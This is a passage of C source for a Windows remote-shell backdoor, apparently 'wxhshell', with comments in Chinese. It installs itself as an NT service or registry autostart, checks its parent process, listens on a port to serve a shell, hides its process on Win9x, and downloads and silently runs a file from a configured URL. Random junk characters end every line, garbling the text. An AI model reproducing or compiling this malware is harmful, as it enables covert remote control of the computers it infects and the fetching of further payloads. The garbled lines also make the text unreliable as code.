ULONG UniqueProcessId; P$sxr
ULONG InheritedFromUniqueProcessId; {T8Kk)L
} PROCESS_BASIC_INFORMATION; m68*y;#
V:27)]q
PROCNTQSIP NtQueryInformationProcess; S$k&vc(0
+{>=^9%X
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K>9 ()XT)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fatf*}eln
>MK98(F
HANDLE hProcess; {U1m.30n
PROCESS_BASIC_INFORMATION pbi; sr}E+qf
H1T.(M/"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6Iw\c
if(NULL == hInst ) return 0; TKjFp%
~4"dweu?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o.\oA6P_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !wp3!bLp
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <1pEwI~
+)?J#g
if (!NtQueryInformationProcess) return 0; fQ98(+6
B;WCTMy}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q9NoI(]e
if(!hProcess) return 0; _FEFx
Nluoqoac
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [r-p]"R
mqJ_W[y7
CloseHandle(hProcess); +*^H#|!
}-fl$j?9E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); " Jr-J#gg
if(hProcess==NULL) return 0; &[SC|=U'M
kN>!2UfNS
HMODULE hMod; `"~%bS
char procName[255]; Sc
unsigned long cbNeeded; ZC}QId
T)})
pt!V
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `lPfb[b
!by\9
?n
CloseHandle(hProcess); kW (Bkuc)
j7c3(*Pl
if(strstr(procName,"services")) return 1; // 以服务启动 L-\GHu~)
go"Hf_
return 0; // 注册表启动 2"5v[,$1H
} :Yks|VJ1
_2nx^E(pd
// 主模块 ;$tSb ~K+
int StartWxhshell(LPSTR lpCmdLine) Z8oK2Dw
{ ,(4K4pN
SOCKET wsl; ASfaX:ke
BOOL val=TRUE; ]~nKK@Rw
int port=0; :aQt;C6Z>
struct sockaddr_in door; :yjFQ9^?&
;GhNKPY
if(wscfg.ws_autoins) Install(); 7)k\{&+P
km40qO@3
port=atoi(lpCmdLine); xvy.=(
}{"fJ3] c^
if(port<=0) port=wscfg.ws_port; 4e1Y/
Xq`
_[y/Y\{I
WSADATA data; '7@R7w!E4H
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _y3Xb`0a
Lk$B{2^n
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Z<4AL\l 98
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
^I)N. 5
door.sin_family = AF_INET; _~
&iq1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <9%R\_@$H
door.sin_port = htons(port); g[t [/TV
* H9 8Du
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W];dD$Oqg
closesocket(wsl); :h V7>
rr
return 1; S@Hf
&hJ
} |W\(kb+
`#gie$B{
if(listen(wsl,2) == INVALID_SOCKET) { 3&/Ixm:
closesocket(wsl); ${)b[22":
return 1; #=v~8
} YDFyX){
Wxhshell(wsl); (khL-F
WSACleanup(); F:l%O#V
uH-)y,2&
return 0; OC:T
O|S:4
3Hm/(C
} 4g7)i L^#~
Y#3c }qb
// 以NT服务方式启动 VYhbx
'e
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |a%Tp3Q~
{ 0AV c
DWORD status = 0; \_U$"/$4VH
DWORD specificError = 0xfffffff; A= {UL
p6WX9\qS(
serviceStatus.dwServiceType = SERVICE_WIN32; 6i*sm.SDw
serviceStatus.dwCurrentState = SERVICE_START_PENDING; D )'bH5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TW>WHCAm
serviceStatus.dwWin32ExitCode = 0; *|E[L^
serviceStatus.dwServiceSpecificExitCode = 0; XS BA$y
serviceStatus.dwCheckPoint = 0; 65m"J'
serviceStatus.dwWaitHint = 0; ^Q^_?~h*!
-o.:P>/
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W"3ph6[eW
if (hServiceStatusHandle==0) return; )];K .zP
5P$4 =z91
status = GetLastError(); Ip]KPrwp
if (status!=NO_ERROR) I)W`sBL
{ ^Va1f'g
serviceStatus.dwCurrentState = SERVICE_STOPPED; Q1l '7N
serviceStatus.dwCheckPoint = 0; (2
a`XwR
serviceStatus.dwWaitHint = 0; .-X8J t
serviceStatus.dwWin32ExitCode = status; :U(A;U1,
serviceStatus.dwServiceSpecificExitCode = specificError; ;]jNk'oa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ff1c/c/
return; f>Jr|#k
} ;xs"j-r/
O<;3M'y\
serviceStatus.dwCurrentState = SERVICE_RUNNING; tlt*fH$.
serviceStatus.dwCheckPoint = 0; o7LuKRl
serviceStatus.dwWaitHint = 0; :<#nTh_@\'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mo#04;VF
} bD8Gwi=iiu
Vl!6W@g
// 处理NT服务事件,比如:启动、停止 (NnH:J`
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~BkCp pI
{ }Ys>(w
switch(fdwControl) U~l$\c
{ '!a'ZjYyi
case SERVICE_CONTROL_STOP: d$AWu{y
serviceStatus.dwWin32ExitCode = 0; )D82N`c2\i
serviceStatus.dwCurrentState = SERVICE_STOPPED; .%C|+#&d
serviceStatus.dwCheckPoint = 0; mS~kJy_-
serviceStatus.dwWaitHint = 0; ApXy=?fc
{ f8.gT49I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G<^{&E+=
} MO <3"@/,
return; NS6:yX,/
case SERVICE_CONTROL_PAUSE: nL.<[]r
serviceStatus.dwCurrentState = SERVICE_PAUSED; J{&H+rd
break; r_;Nt
case SERVICE_CONTROL_CONTINUE: A7hVHxNJ-
serviceStatus.dwCurrentState = SERVICE_RUNNING; g!z&~Z:
break; ^B2
-)
case SERVICE_CONTROL_INTERROGATE: klR|6u]%
break; fLm*1S|%\
}; 7;(UF=4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \`\ZTZni
} B i<Q=x'Z;
DXK}-4"\
// 标准应用程序主函数 JOim3(5?s
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A:9?ZI/X
{ fn6J*[`
}t1a*z
// 获取操作系统版本 Z} r*K%
OsIsNt=GetOsVer(); =+MPFhvg!
GetModuleFileName(NULL,ExeFile,MAX_PATH); .JiziFJ@mj
Y~E`9
// 从命令行安装 3%;a)c;D
if(strpbrk(lpCmdLine,"iI")) Install(); ([LSsZ]sj
qXtC^n@x
// 下载执行文件 ;K&o-y
if(wscfg.ws_downexe) { 5=?\1`e1[
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M*HnM(
WinExec(wscfg.ws_filenam,SW_HIDE); f\>M'{cV
} @Sbe^x
*lw_=MXSK
if(!OsIsNt) { <)-Sj,
// 如果时win9x,隐藏进程并且设置为注册表启动 ,47Y9Kz9
HideProc(); ;<2G
StartWxhshell(lpCmdLine); 4G>H
} U,- 39mr
else r7,t";?>
if(StartFromService()) ^vO+(p
// 以服务方式启动 @qlK6tE`
StartServiceCtrlDispatcher(DispatchTable); s)Cjc.Qs
else e?=^;v%r
// 普通方式启动 2eol
gXp
StartWxhshell(lpCmdLine); 1.9}_4!
9dUravC7
return 0; t#pS{.I
}